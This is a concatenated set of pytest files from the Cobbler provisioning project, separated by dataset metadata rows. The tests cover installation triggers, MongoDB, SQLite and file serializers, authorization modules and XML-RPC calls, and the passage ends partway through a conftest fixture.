from unittest.mock import MagicMock from cobbler.api import CobblerAPI from cobbler.modules.installation import post_puppet def test_register(): # Arrange & Act result = post_puppet.register() # Assert assert result == "/var/lib/cobbler/triggers/install/post/*" def test_run(): # Arrange api = MagicMock(spec=CobblerAPI) args = ["test_objtype", "test_name"] # Act result = post_puppet.run(api, args) # Assert # FIXME improve assert assert result == 0
507
Python
.py
17
25.529412
63
0.701245
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,034
post_log_test.py
cobbler_cobbler/tests/modules/installation/post_log_test.py
from unittest.mock import MagicMock from cobbler.api import CobblerAPI from cobbler.modules.installation import post_log def test_register(): # Arrange & Act result = post_log.register() # Assert assert result == "/var/lib/cobbler/triggers/install/post/*" def test_run(): # Arrange api = MagicMock(spec=CobblerAPI) args = ["distro", "test_name", "?"] # Act result = post_log.run(api, args) # Assert # FIXME improve assert assert result == 0
497
Python
.py
17
24.941176
63
0.686441
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,035
mongodb_test.py
cobbler_cobbler/tests/modules/serializer/mongodb_test.py
""" Tests that validate the functionality of the module that is responsible for (de)serializing items to MongoDB. """ import copy from typing import TYPE_CHECKING, Any import pytest from cobbler.api import CobblerAPI from cobbler.cexceptions import CX from cobbler.modules.serializers import mongodb from tests.conftest import does_not_raise if TYPE_CHECKING: from pytest_mock import MockerFixture @pytest.fixture def mongodb_obj(cobbler_api: CobblerAPI) -> mongodb.MongoDBSerializer: return mongodb.storage_factory(cobbler_api) @pytest.fixture(scope="function", autouse=True) def reset_database(mongodb_obj: mongodb.MongoDBSerializer): mongodb_obj.mongodb.drop_database("cobbler") # type: ignore def test_register(): assert mongodb.register() == "serializer" def test_what(): assert mongodb.what() == "serializer/mongodb" def test_storage_factory(cobbler_api: CobblerAPI): # Arrange & Act result = mongodb.storage_factory(cobbler_api) # Assert assert isinstance(result, mongodb.MongoDBSerializer) def test_serialize_item( mocker: "MockerFixture", mongodb_obj: mongodb.MongoDBSerializer ): # Arrange mock_collection = mocker.MagicMock() mock_collection.collection_types.return_value = "distros" mock_item = mocker.MagicMock() mock_item.name = "testitem" mock_item.arch = "x86_64" mock_item.serialize.return_value = {"name": mock_item.name, "arch": mock_item.arch} # Act mongodb_obj.serialize_item(mock_collection, mock_item) # Assert assert len(list(mongodb_obj.mongodb["cobbler"]["distros"].find())) == 1 # type: ignore def test_serialize_delete( mocker: "MockerFixture", mongodb_obj: mongodb.MongoDBSerializer ): # Arrange mock_collection = mocker.MagicMock() mock_collection.collection_types.return_value = "distros" mock_item = mocker.MagicMock() mock_item.name = "testitem" # Act mongodb_obj.serialize_delete(mock_collection, mock_item) # Assert assert len(list(mongodb_obj.mongodb["cobbler"]["distros"].find())) == 0 # type: ignore def test_serialize(mocker: "MockerFixture", mongodb_obj: mongodb.MongoDBSerializer): # Arrange mock_collection = mocker.MagicMock() mock_collection.collection_types.return_value = "distros" mock_serialize_item = mocker.patch.object(mongodb_obj, "serialize_item") mock_collection.__iter__ = mocker.Mock(return_value=iter(["item1"])) # Act mongodb_obj.serialize(mock_collection) # Assert assert mock_serialize_item.call_count == 1 def test_deserialize_raw(mongodb_obj: mongodb.MongoDBSerializer): # Arrange collection_type = "distros" mongodb_obj.mongodb["cobbler"][collection_type].insert_one( # type: ignore {"name": "testitem", "arch": "x86_64"} ) mongodb_obj.mongodb["cobbler"][collection_type].insert_one( # type: ignore {"name": "testitem2", "arch": "x86_64"} ) # Act result = mongodb_obj.deserialize_raw(collection_type) # Assert assert isinstance(result, list) assert len(result) == 2 def test_deserialize(mocker: "MockerFixture", mongodb_obj: mongodb.MongoDBSerializer): # Arrange mock_collection = mocker.MagicMock() mock_collection.collection_types.return_value = "distros" input_topological = True return_deserialize_raw = [] mock_deserialize_raw = mocker.patch.object( mongodb_obj, "deserialize_raw", return_value=return_deserialize_raw ) # Act mongodb_obj.deserialize(mock_collection, input_topological) # Assert assert mock_deserialize_raw.call_count == 1 assert mock_collection.from_list.call_count == 1 mock_collection.from_list.assert_called_with(return_deserialize_raw) @pytest.mark.parametrize( "item_name,expected_exception", [ ( "testitem", does_not_raise(), ), ( None, pytest.raises(CX), ), ], ) def test_deserialize_item( mongodb_obj: mongodb.MongoDBSerializer, item_name: str, expected_exception: Any ): # Arrange collection_type = "distros" input_value = {"name": item_name, "arch": "x86_64"} test_item = copy.deepcopy(input_value) if item_name is not None: # type: ignore mongodb_obj.mongodb["cobbler"][collection_type].insert_one(test_item) # type: ignore expected_value = input_value.copy() expected_value["inmemory"] = True # type: ignore # Act with expected_exception: result = mongodb_obj.deserialize_item(collection_type, item_name) print(result) # Assert assert result in (expected_value, {"inmemory": True})
4,680
Python
.py
122
33.319672
109
0.707106
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,036
sqlite_test.py
cobbler_cobbler/tests/modules/serializer/sqlite_test.py
""" Tests that validate the functionality of the module that is responsible for (de)serializing items to SQLite. """ import json import os import pathlib from typing import Any, Dict, List, Union from unittest.mock import MagicMock import pytest from pytest_mock import MockerFixture from cobbler.api import CobblerAPI from cobbler.cexceptions import CX from cobbler.cobbler_collections.collection import Collection from cobbler.items.abstract.bootable_item import BootableItem from cobbler.modules.serializers import sqlite from cobbler.settings import Settings from tests.conftest import does_not_raise @pytest.fixture() def test_settings(mocker: MockerFixture, cobbler_api: CobblerAPI) -> Settings: settings = mocker.MagicMock(name="sqlite_setting_mock", spec=Settings) settings.lazy_start = False settings.cache_enabled = False settings.serializer_pretty_json = False return settings class MockBootableItem(BootableItem): """ Test Item for the serializer tests. """ def make_clone(self) -> "MockBootableItem": return MockBootableItem(self.api) class MockCollection(Collection[MockBootableItem]): """ Test Collection that is used for the serializer tests. """ @staticmethod def collection_type() -> str: return "test" @staticmethod def collection_types() -> str: return "tests" def factory_produce( self, api: "CobblerAPI", seed_data: Dict[Any, Any] ) -> MockBootableItem: new_test = MockBootableItem(api) return new_test def remove( self, name: str, with_delete: bool = True, with_sync: bool = True, with_triggers: bool = True, recursive: bool = False, ) -> None: del self.listing[name] @pytest.fixture() def serializer_obj( mocker: MockerFixture, cobbler_api: CobblerAPI, tmpdir: pathlib.Path, test_settings: Settings, ): """ Generates an empty serializer object that is ready to be used. """ mocker.patch.object(cobbler_api, "settings", return_value=test_settings) sqlite_obj = sqlite.storage_factory(cobbler_api) sqlite_obj.database_file = os.path.join(tmpdir, "tests.db") try: sqlite_obj.deserialize_item("tests", "test") except CX: pass sqlite_obj.connection.execute( # type: ignore f"CREATE table if not exists tests(name text primary key, item text)" ) sqlite_obj.connection.commit() # type: ignore return sqlite_obj def test_register(): """ Test that will assert if the return value of the register method is correct. """ # Arrange # Act result = sqlite.register() # Assert assert isinstance(result, str) assert result == "serializer" def test_what(): """ Test that will assert if the return value of the identity hook of the module is correct. """ # Arrange # Act result = sqlite.what() # Assert assert isinstance(result, str) assert result == "serializer/sqlite" def test_storage_factory(cobbler_api: CobblerAPI): """ Test that will assert if the factory can successfully generate a SQLiteSerializer object. """ # Arrange # Act result = sqlite.storage_factory(cobbler_api) # Assert assert isinstance(result, sqlite.SQLiteSerializer) def test_serialize_item_raise( mocker: MockerFixture, serializer_obj: sqlite.SQLiteSerializer ): # Arrange mitem = mocker.Mock() mcollection = mocker.Mock() mitem.name = "" # Act and assert with pytest.raises(CX): serializer_obj.serialize_item(mcollection, mitem) # Cleanup serializer_obj.connection.execute("DROP table if exists tests") # type: ignore serializer_obj.connection.commit() # type: ignore serializer_obj.connection.close() # type: ignore def test_serialize_item( serializer_obj: sqlite.SQLiteSerializer, cobbler_api: CobblerAPI ): """ Test that will assert if a given item can be written to table successfully. """ # Arrange mitem = MockBootableItem(cobbler_api) mitem.name = "test_serializer_item" mcollection = MockCollection(cobbler_api._collection_mgr) # type: ignore # Act serializer_obj.connection.execute("DROP table if exists tests") # type: ignore serializer_obj.serialize_item(mcollection, mitem) cursor = serializer_obj.connection.execute( # type: ignore "SELECT name FROM sqlite_master WHERE name=:name", {"name": "tests"} ) table_exists = cursor.fetchone() is not None cursor = serializer_obj.connection.execute( # type: ignore "SELECT name FROM tests WHERE name=:name", {"name": mitem.name} ) row_exists = cursor.fetchone() is not None # Cleanup serializer_obj.connection.execute("DROP table if exists tests") # type: ignore serializer_obj.connection.commit() # type: ignore serializer_obj.connection.close() # type: ignore # Assert assert os.path.exists(serializer_obj.database_file) assert table_exists assert row_exists def test_serialize_delete( serializer_obj: sqlite.SQLiteSerializer, cobbler_api: CobblerAPI ): """ Test that will assert if a given item can be deleted. """ # Arrange mitem = MockBootableItem(cobbler_api) mitem.name = "test_serializer_del" mcollection = MockCollection(cobbler_api._collection_mgr) # type: ignore serializer_obj.serialize_item(mcollection, mitem) # Act serializer_obj.serialize_delete(mcollection, mitem) cursor = serializer_obj.connection.execute( # type: ignore "SELECT name FROM tests WHERE name=:name", {"name": mitem.name} ) row_exists = cursor.fetchone() is not None # Cleanup serializer_obj.connection.execute("DROP table if exists tests") # type: ignore serializer_obj.connection.commit() # type: ignore serializer_obj.connection.close() # type: ignore # Assert assert not row_exists @pytest.mark.parametrize( "input_collection_type,input_collection", [("tests", MagicMock())], ) def test_serialize( # mocker: MockerFixture, input_collection_type: str, input_collection: Union[Dict[Any, Any], MagicMock], serializer_obj: sqlite.SQLiteSerializer, cobbler_api: CobblerAPI, ): # Arrange mitem = MockBootableItem(cobbler_api) mitem.name = "test_serialize" mcollection = MockCollection(cobbler_api._collection_mgr) # type: ignore mcollection.listing[mitem.name] = mitem # Act serializer_obj.serialize(mcollection) # type: ignore cursor = serializer_obj.connection.execute( # type: ignore "SELECT name FROM sqlite_master WHERE name=:name", {"name": input_collection_type}, ) table_exists = cursor.fetchone() is not None cursor = serializer_obj.connection.execute( # type: ignore f"SELECT name FROM {input_collection_type} WHERE name=:name", {"name": mitem.name}, # type: ignore ) row_exists = cursor.fetchone() is not None # Cleanup serializer_obj.connection.execute("DROP table if exists tests") # type: ignore serializer_obj.connection.commit() # type: ignore serializer_obj.connection.close() # type: ignore # Assert assert os.path.exists(serializer_obj.database_file) assert table_exists # type: ignore[reportUnboundVariable] assert row_exists # type: ignore[reportUnboundVariable] @pytest.mark.parametrize( "input_collection_type,expected_result,settings_read,lazy_start,expected_inmemory", [ ("tests", "test_deserialize_raw", False, False, True), ("tests", "test_deserialize_raw", False, True, False), ], ) def test_deserialize_raw( mocker: MockerFixture, input_collection_type: str, expected_result: Union[List[Any], Dict[Any, Any]], settings_read: bool, lazy_start: bool, expected_inmemory: bool, serializer_obj: sqlite.SQLiteSerializer, cobbler_api: CobblerAPI, test_settings: Settings, ): """ Test that will assert if a given item can be deserilized in raw. """ # Arrange mocker.patch("cobbler.settings.read_settings_file", return_value=expected_result) mitem = MockBootableItem(cobbler_api) mitem.name = "test_deserialize_raw" mitem.item = "{'name': 'test_deserialize_raw'}" mcollection = MockCollection(cobbler_api._collection_mgr) # type: ignore mcollection.listing[mitem.name] = mitem serializer_obj.serialize(mcollection) # type: ignore test_settings.lazy_start = lazy_start # Act result = serializer_obj.deserialize_raw(input_collection_type) # Cleanup serializer_obj.connection.execute("DROP table if exists tests") # type: ignore serializer_obj.connection.commit() # type: ignore serializer_obj.connection.close() # type: ignore # Assert assert result[0]["name"] == expected_result # type: ignore assert result[0]["inmemory"] == expected_inmemory # type: ignore @pytest.mark.parametrize( "input_collection_type,input_collection,input_topological,expected_result", [ ( "distros", [{"depth": 2, "name": False}, {"depth": 1, "name": True}], True, [{"depth": 1, "name": True}, {"depth": 2, "name": False}], ), ( "distros", [{"depth": 2, "name": False}, {"depth": 1, "name": True}], False, [{"depth": 2, "name": False}, {"depth": 1, "name": True}], ), ( "distros", [{"name": False}, {"name": True}], True, [{"name": False}, {"name": True}], ), ( "distros", [{"name": False}, {"name": True}], False, [{"name": False}, {"name": True}], ), ], ) def test_deserialize( mocker: MockerFixture, input_collection_type: str, input_collection: Union[Dict[Any, Any], List[Dict[Any, Any]]], input_topological: bool, expected_result: Union[Dict[Any, Any], List[Dict[Any, Any]]], serializer_obj: sqlite.SQLiteSerializer, ): """ Test that will assert if a given item can be successfully deserialized. """ # Arrange mocker.patch.object( serializer_obj, "deserialize_raw", return_value=input_collection, ) stub_from = mocker.stub(name="from_list_stub") mock = MockCollection(mocker.MagicMock()) mocker.patch.object(mock, "from_list", new=stub_from) mocker.patch.object(mock, "collection_types", return_value=input_collection_type) # Act serializer_obj.deserialize(mock, input_topological) # type: ignore # Cleanup serializer_obj.connection.execute("DROP table if exists tests") # type: ignore serializer_obj.connection.commit() # type: ignore serializer_obj.connection.close() # type: ignore # Assert assert stub_from.called stub_from.assert_called_with(expected_result) @pytest.mark.parametrize( "input_collection_type,input_item,expected_result,expected_exception", [ ( "tests", {"name": "test1"}, {"name": "test1", "inmemory": True}, does_not_raise(), ), ( "tests", {"name": "test2"}, {"name": "fake", "inmemory": True}, pytest.raises(CX), ), ], ) def test_deserialize_item( mocker: MockerFixture, input_collection_type: str, input_item: Dict[str, str], expected_result: Dict[str, Union[str, bool]], expected_exception: Any, serializer_obj: sqlite.SQLiteSerializer, ): """ TODO """ # Arrange serializer_obj.connection.execute( # type: ignore f"INSERT INTO {input_collection_type}(name, item) VALUES(:name,:item)", {"name": input_item["name"], "item": json.dumps(input_item)}, ) serializer_obj.connection.commit() # type: ignore # Act with expected_exception: result = serializer_obj.deserialize_item( input_collection_type, expected_result["name"] # type: ignore[reportGeneralTypeIssues] ) # Assert assert result == expected_result # Cleanup serializer_obj.connection.execute("DROP table if exists tests") # type: ignore serializer_obj.connection.commit() # type: ignore serializer_obj.connection.close() # type: ignore
12,436
Python
.py
350
29.802857
108
0.671297
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,037
file_test.py
cobbler_cobbler/tests/modules/serializer/file_test.py
import json import os import pathlib from typing import Any, Dict, List, Union from unittest.mock import MagicMock import pytest from pytest_mock import MockerFixture from cobbler.api import CobblerAPI from cobbler.cexceptions import CX from cobbler.cobbler_collections.collection import Collection from cobbler.items.abstract.bootable_item import BootableItem from cobbler.modules.serializers import file from cobbler.settings import Settings from tests.conftest import does_not_raise class MockBootableItem(BootableItem): """ Test Item for the serializer tests. """ def make_clone(self) -> "MockBootableItem": return MockBootableItem(self.api) class MockCollection(Collection[MockBootableItem]): """ Test Collection that is used for the serializer tests. """ @staticmethod def collection_type() -> str: return "test" @staticmethod def collection_types() -> str: return "tests" def factory_produce( self, api: "CobblerAPI", seed_data: Dict[Any, Any] ) -> MockBootableItem: new_test = MockBootableItem(api) return new_test def remove( self, name: str, with_delete: bool = True, with_sync: bool = True, with_triggers: bool = True, recursive: bool = False, ) -> None: del self.listing[name] @pytest.fixture() def serializer_obj(cobbler_api: CobblerAPI): """ Generates an empty serializer object that is ready to be used. """ return file.FileSerializer(cobbler_api) def test_register(): """ Test that will assert if the return value of the register method is correct. """ # Arrange # Act result = file.register() # Assert assert isinstance(result, str) assert result == "serializer" def test_what(): """ Test that will assert if the return value of the identity hook of the module is correct. """ # Arrange # Act result = file.what() # Assert assert isinstance(result, str) assert result == "serializer/file" def test_storage_factory(cobbler_api: CobblerAPI): """ Test that will assert if the factory can successfully generate a FileSerializer object. """ # Arrange # Act result = file.storage_factory(cobbler_api) # Assert assert isinstance(result, file.FileSerializer) def test_find_double_json_files_1(tmpdir: pathlib.Path): """ Test that will assert if JSON files with duplicated file extension are correctly cleaned up. """ # Arrange file_one = tmpdir / "double.json" file_double = tmpdir / "double.json.json" with open(file_double, "w") as duplicate: duplicate.write("double\n") # Act file._find_double_json_files(str(file_one)) # type: ignore # Assert assert os.path.isfile(file_one) def test_find_double_json_files_raise(tmpdir: pathlib.Path): """ Test that will assert if a rename operation for a duplicated JSON fill will correctly raise. """ # Arrange file_one = tmpdir / "double.json" file_double = tmpdir / "double.json.json" with open(file_one, "w", encoding="UTF-8") as duplicate: duplicate.write("one\n") with open(file_double, "w", encoding="UTF-8") as duplicate: duplicate.write("double\n") # Act and assert with pytest.raises(FileExistsError): file._find_double_json_files(str(file_one)) # type: ignore def test_serialize_item_raise( mocker: MockerFixture, serializer_obj: file.FileSerializer ): # Arrange mitem = mocker.Mock() mcollection = mocker.Mock() mitem.name = "" # Act and assert with pytest.raises(CX): serializer_obj.serialize_item(mcollection, mitem) def test_serialize_item( tmpdir: pathlib.Path, serializer_obj: file.FileSerializer, cobbler_api: CobblerAPI ): """ Test that will assert if a given item can be written to disk successfully. """ # Arrange serializer_obj.libpath = str(tmpdir) mitem = MockBootableItem(cobbler_api) mitem.name = "test_serializer" mcollection = MockCollection(cobbler_api._collection_mgr) # type: ignore os.mkdir(os.path.join(tmpdir, mcollection.collection_types())) expected_file = os.path.join( tmpdir, mcollection.collection_types(), f"{mitem.name}.json" ) # Act serializer_obj.serialize_item(mcollection, mitem) # Assert assert os.path.exists(expected_file) with open(expected_file, "r", encoding="UTF-8") as json_file: assert json.load(json_file) == mitem.serialize() def test_serialize_delete( tmpdir: pathlib.Path, serializer_obj: file.FileSerializer, cobbler_api: CobblerAPI ): """ Test that will assert if a given item can be deleted. """ # Arrange mitem = MockBootableItem(cobbler_api) mitem.name = "test_serializer_del" mcollection = MockCollection(cobbler_api._collection_mgr) # type: ignore serializer_obj.libpath = str(tmpdir) os.mkdir(os.path.join(tmpdir, mcollection.collection_types())) expected_path = os.path.join( tmpdir, mcollection.collection_types(), mitem.name + ".json" ) pathlib.Path(expected_path).touch() # Act serializer_obj.serialize_delete(mcollection, mitem) # Assert assert not os.path.exists(expected_path) @pytest.mark.parametrize( "input_collection_type,input_collection", [("distros", MagicMock())], ) def test_serialize( mocker: MockerFixture, input_collection_type: str, input_collection: Union[Dict[Any, Any], MagicMock], serializer_obj: file.FileSerializer, ): # Arrange stub = mocker.stub() mocker.patch.object(serializer_obj, "serialize_item", new=stub) if input_collection_type == "settings": mock = Settings() else: mock = MockCollection(mocker.MagicMock()) mock.listing["test"] = input_collection mocker.patch.object(mock, "collection_type", return_value="") mocker.patch.object( mock, "collection_types", return_value=input_collection_type ) # Act serializer_obj.serialize(mock) # type: ignore # Assert if input_collection_type == "settings": assert not stub.called else: assert stub.called stub.assert_called_with(mock, input_collection) @pytest.mark.parametrize( "input_collection_type,expected_result,settings_read", [ ("distros", [], False), ], ) def test_deserialize_raw( mocker: MockerFixture, input_collection_type: str, expected_result: Union[List[Any], Dict[Any, Any]], settings_read: bool, serializer_obj: file.FileSerializer, ): """ Test that will assert if a given item can be deserilized in raw. """ # Arrange mocker.patch("cobbler.settings.read_settings_file", return_value=expected_result) # Act result = serializer_obj.deserialize_raw(input_collection_type) # Assert assert result == expected_result @pytest.mark.parametrize( "input_collection_type,input_collection,input_topological,expected_result", [ ( "distros", [{"depth": 2, "name": False}, {"depth": 1, "name": True}], True, [{"depth": 1, "name": True}, {"depth": 2, "name": False}], ), ( "distros", [{"depth": 2, "name": False}, {"depth": 1, "name": True}], False, [{"depth": 2, "name": False}, {"depth": 1, "name": True}], ), ( "distros", [{"name": False}, {"name": True}], True, [{"name": False}, {"name": True}], ), ( "distros", [{"name": False}, {"name": True}], False, [{"name": False}, {"name": True}], ), ], ) def test_deserialize( mocker: MockerFixture, input_collection_type: str, input_collection: Union[Dict[Any, Any], List[Dict[Any, Any]]], input_topological: bool, expected_result: Union[Dict[Any, Any], List[Dict[Any, Any]]], serializer_obj: file.FileSerializer, ): """ Test that will assert if a given item can be successfully deserialized. """ # Arrange mocker.patch.object( serializer_obj, "deserialize_raw", return_value=input_collection, ) if input_collection_type == "settings": stub_from = mocker.stub(name="from_dict_stub") mock = Settings() mocker.patch.object(mock, "from_dict", new=stub_from) else: stub_from = mocker.stub(name="from_list_stub") mock = MockCollection(mocker.MagicMock()) mocker.patch.object(mock, "from_list", new=stub_from) mocker.patch.object( mock, "collection_types", return_value=input_collection_type ) # Act serializer_obj.deserialize(mock, input_topological) # type: ignore # Assert assert stub_from.called stub_from.assert_called_with(expected_result) @pytest.mark.parametrize( "input_collection_type,input_item,expected_result,expected_exception", [ ( "distros", {"name": "test"}, {"name": "test", "inmemory": True}, does_not_raise(), ), ( "distros", {"name": "test"}, {"name": "fake", "inmemory": True}, pytest.raises(CX), ), ], ) def test_deserialize_item( mocker: MockerFixture, input_collection_type: str, input_item: Dict[str, str], expected_result: Dict[str, Union[str, bool]], expected_exception: Any, serializer_obj: file.FileSerializer, ): """ TODO """ # Arrange mocked_input = mocker.mock_open(read_data=json.dumps(input_item))() mocker.patch("builtins.open", return_value=mocked_input) # Act with expected_exception: result = serializer_obj.deserialize_item( input_collection_type, expected_result["name"] # type: ignore[reportGeneralTypeIssues] ) # Assert assert result == expected_result
10,101
Python
.py
309
26.634304
99
0.649784
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,038
ownership_test.py
cobbler_cobbler/tests/modules/authorization/ownership_test.py
from cobbler.modules.authorization import ownership def test_register(): # Arrange & Act & Assert assert ownership.register() == "authz"
147
Python
.py
4
33.25
51
0.744681
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,039
configfile_test.py
cobbler_cobbler/tests/modules/authorization/configfile_test.py
from cobbler.modules.authorization import configfile def test_register(): # Arrange & Act & Assert assert configfile.register() == "authz"
149
Python
.py
4
33.75
52
0.748252
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,040
allowall_test.py
cobbler_cobbler/tests/modules/authorization/allowall_test.py
""" Tests that validate the functionality of the module that is responsible for authorization. """ from cobbler.api import CobblerAPI from cobbler.modules.authorization import allowall def test_register(): # Arrange & Act & Assert assert allowall.register() == "authz" def test_authorize(cobbler_api: CobblerAPI): # Arrange & Act & Assert assert allowall.authorize(cobbler_api, "", "")
407
Python
.py
11
34.090909
90
0.754476
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,041
non_object_calls_test.py
cobbler_cobbler/tests/xmlrpcapi/non_object_calls_test.py
""" Tests that validate the functionality of the module that is responsible for providing XML-RPC calls related to non object calls. """ import os import re import time from typing import Any, Callable, Dict, Union import pytest from cobbler.remote import CobblerXMLRPCInterface from tests.conftest import does_not_raise WaitTaskEndType = Callable[[str, CobblerXMLRPCInterface], None] TEST_POWER_MANAGEMENT = True TEST_SYSTEM = "" @pytest.fixture(scope="function") def wait_task_end() -> WaitTaskEndType: """ Wait until a task is finished """ def _wait_task_end(tid: str, remote: CobblerXMLRPCInterface) -> None: timeout = 0 # "complete" is the constant: EVENT_COMPLETE from cobbler.remote while remote.get_task_status(tid)[2] != "complete": if remote.get_task_status(tid)[2] == "failed": pytest.fail("Task failed") print("task %s status: %s" % (tid, remote.get_task_status(tid))) time.sleep(5) timeout += 5 if timeout == 60: raise Exception return _wait_task_end def test_token(token: str): """ Test: authentication token validation """ assert token not in ("", None) def test_get_user_from_token(remote: CobblerXMLRPCInterface, token: str): """ Test: get user data from authentication token """ assert remote.get_user_from_token(token) def test_check(remote: CobblerXMLRPCInterface, token: str): """ Test: check Cobbler status """ assert remote.check(token) def test_last_modified_time(remote: CobblerXMLRPCInterface, token: str): """ Test: get last modification time """ assert remote.last_modified_time(token) != 0 def test_power_system( remote: CobblerXMLRPCInterface, token: str, wait_task_end: WaitTaskEndType ): """ Test: reboot a system """ if TEST_SYSTEM and TEST_POWER_MANAGEMENT: tid = remote.background_power_system( {"systems": [TEST_SYSTEM], "power": "reboot"}, token ) wait_task_end(tid, remote) def test_sync( remote: CobblerXMLRPCInterface, token: str, wait_task_end: WaitTaskEndType ): """ Test: synchronize Cobbler internal data with managed services (dhcp, tftp, dns) """ tid = remote.background_sync({}, token) events = remote.get_events(token) assert len(events) > 0 wait_task_end(tid, remote) event_log = remote.get_event_log(tid) assert isinstance(event_log, str) def test_get_autoinstall_templates(remote: CobblerXMLRPCInterface, token: str): """ Test: get autoinstall templates """ result = remote.get_autoinstall_templates(token) assert len(result) > 0 def test_get_autoinstall_snippets(remote: CobblerXMLRPCInterface, token: str): """ Test: get autoinstall snippets """ result = remote.get_autoinstall_snippets(token) assert len(result) > 0 def test_generate_autoinstall(remote: CobblerXMLRPCInterface): """ Test: generate autoinstall content """ if TEST_SYSTEM: remote.generate_autoinstall(None, TEST_SYSTEM) def test_generate_ipxe(remote: CobblerXMLRPCInterface): """ Test: generate iPXE file content """ if TEST_SYSTEM: remote.generate_ipxe(None, TEST_SYSTEM) def test_generate_bootcfg(remote: CobblerXMLRPCInterface): """ Test: generate boot loader configuration file content """ if TEST_SYSTEM: remote.generate_bootcfg(None, TEST_SYSTEM) def test_get_settings(remote: CobblerXMLRPCInterface, token: str): """ Test: get settings """ remote.get_settings(token) def test_get_signatures(remote: CobblerXMLRPCInterface, token: str): """ Test: get distro signatures """ remote.get_signatures(token) def test_get_valid_breeds(remote: CobblerXMLRPCInterface, token: str): """ Test: get valid OS breeds """ breeds = remote.get_valid_breeds(token) assert len(breeds) > 0 def test_get_valid_os_versions_for_breed(remote: CobblerXMLRPCInterface, token: str): """ Test: get valid OS versions for a OS breed """ versions = remote.get_valid_os_versions_for_breed("generic", token) assert len(versions) > 0 def test_get_valid_os_versions(remote: CobblerXMLRPCInterface, token: str): """ Test: get valid OS versions """ versions = remote.get_valid_os_versions(token) assert len(versions) > 0 def test_get_random_mac(remote: CobblerXMLRPCInterface, token: str): """ Test: get a random mac for a virtual network interface """ mac = remote.get_random_mac("kvm", token) hexa = "[0-9A-Fa-f]{2}" match_obj = re.match( "%s:%s:%s:%s:%s:%s" % (hexa, hexa, hexa, hexa, hexa, hexa), mac ) assert match_obj @pytest.mark.parametrize( "input_attribute,checked_object,expected_result,expected_exception", [ ("kernel_options", "system", {"a": "1", "b": "2", "d": "~"}, does_not_raise()), ("arch", "distro", "x86_64", does_not_raise()), ("distro", "profile", "testdistro_item_resolved_value", does_not_raise()), ("profile", "system", "testprofile_item_resolved_value", does_not_raise()), ( "interfaces", "system", { "eth0": { "bonding_opts": "", "bridge_opts": "", "cnames": [], "connected_mode": False, "dhcp_tag": "", "dns_name": "", "if_gateway": "", "interface_master": "", "interface_type": "na", "ip_address": "", "ipv6_address": "", "ipv6_default_gateway": "", "ipv6_mtu": "", "ipv6_prefix": "", "ipv6_secondaries": [], "ipv6_static_routes": [], "mac_address": "aa:bb:cc:dd:ee:ff", "management": False, "mtu": "", "netmask": "", "static": False, "static_routes": [], "virt_bridge": "virbr0", } }, does_not_raise(), ), ("modify_interface", "system", {}, pytest.raises(ValueError)), ("doesnt_exist", "system", {}, pytest.raises(AttributeError)), ], ) def test_get_item_resolved_value( remote: CobblerXMLRPCInterface, token: str, create_distro: Callable[[str, str, str, str, str], str], create_profile: Callable[[str, str, str], str], create_system: Callable[[str, str], str], create_kernel_initrd: Callable[[str, str], str], input_attribute: str, checked_object: str, expected_result: Union[str, Dict[str, Any]], expected_exception: Any, ): # Arrange fk_kernel = "vmlinuz1" fk_initrd = "initrd1.img" name_distro = "testdistro_item_resolved_value" name_profile = "testprofile_item_resolved_value" name_system = "testsystem_item_resolved_value" basepath = create_kernel_initrd(fk_kernel, fk_initrd) path_kernel = os.path.join(basepath, fk_kernel) path_initrd = os.path.join(basepath, fk_initrd) create_distro(name_distro, "x86_64", "suse", path_kernel, path_initrd) create_profile(name_profile, name_distro, "a=1 b=2 c=3 c=4 c=5 d e") test_system_handle = create_system(name_system, name_profile) remote.modify_system(test_system_handle, "kernel_options", "!c !e", token=token) remote.modify_system( test_system_handle, "modify_interface", {"macaddress-eth0": "aa:bb:cc:dd:ee:ff"}, token=token, ) if checked_object == "distro": test_item = remote.get_distro(name_distro, token=token) elif checked_object == "profile": test_item = remote.get_profile(name_profile, token=token) elif checked_object == "system": test_item = remote.get_system(name_system, token=token) else: raise ValueError("checked_object has wrong value") # Act with expected_exception: result = remote.get_item_resolved_value(test_item.get("uid"), input_attribute) # type: ignore if input_attribute == "interfaces" and "default" in result: # type: ignore result.pop("default") # type: ignore # Assert assert expected_result == result
8,481
Python
.py
232
29.202586
110
0.621347
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,042
conftest.py
cobbler_cobbler/tests/xmlrpcapi/conftest.py
""" Fixtures that are shared by the XML-RPC tests that are in the "xmlrpcapi" module. """ import os import sys from pathlib import Path from typing import Any, Callable, Dict, Tuple, Union import pytest from cobbler.api import CobblerAPI from cobbler.remote import CobblerXMLRPCInterface from cobbler.utils import get_shared_secret @pytest.fixture(scope="function") def remote( cobbler_xmlrpc_base: Tuple[CobblerXMLRPCInterface, str] ) -> CobblerXMLRPCInterface: """ :param cobbler_xmlrpc_base: :return: """ return cobbler_xmlrpc_base[0] @pytest.fixture(scope="function") def token(cobbler_xmlrpc_base: Tuple[CobblerXMLRPCInterface, str]) -> str: """ :param cobbler_xmlrpc_base: :return: """ return cobbler_xmlrpc_base[1] @pytest.fixture(scope="function") def cobbler_xmlrpc_base(cobbler_api: CobblerAPI) -> Tuple[CobblerXMLRPCInterface, str]: """ Initialises the api object and makes it available to the test. """ # create XML-RPC client and connect to server remote = CobblerXMLRPCInterface(cobbler_api) shared_secret = get_shared_secret() token = remote.login("", shared_secret) # type: ignore if not token: sys.exit(1) return remote, token @pytest.fixture(scope="function") def testsnippet() -> str: """ Fixture that provides a valid minimalistic Cobbler Snippet. """ return "# This is a small simple testsnippet!" @pytest.fixture(scope="function") def snippet_add( remote: CobblerXMLRPCInterface, token: str ) -> Callable[[str, 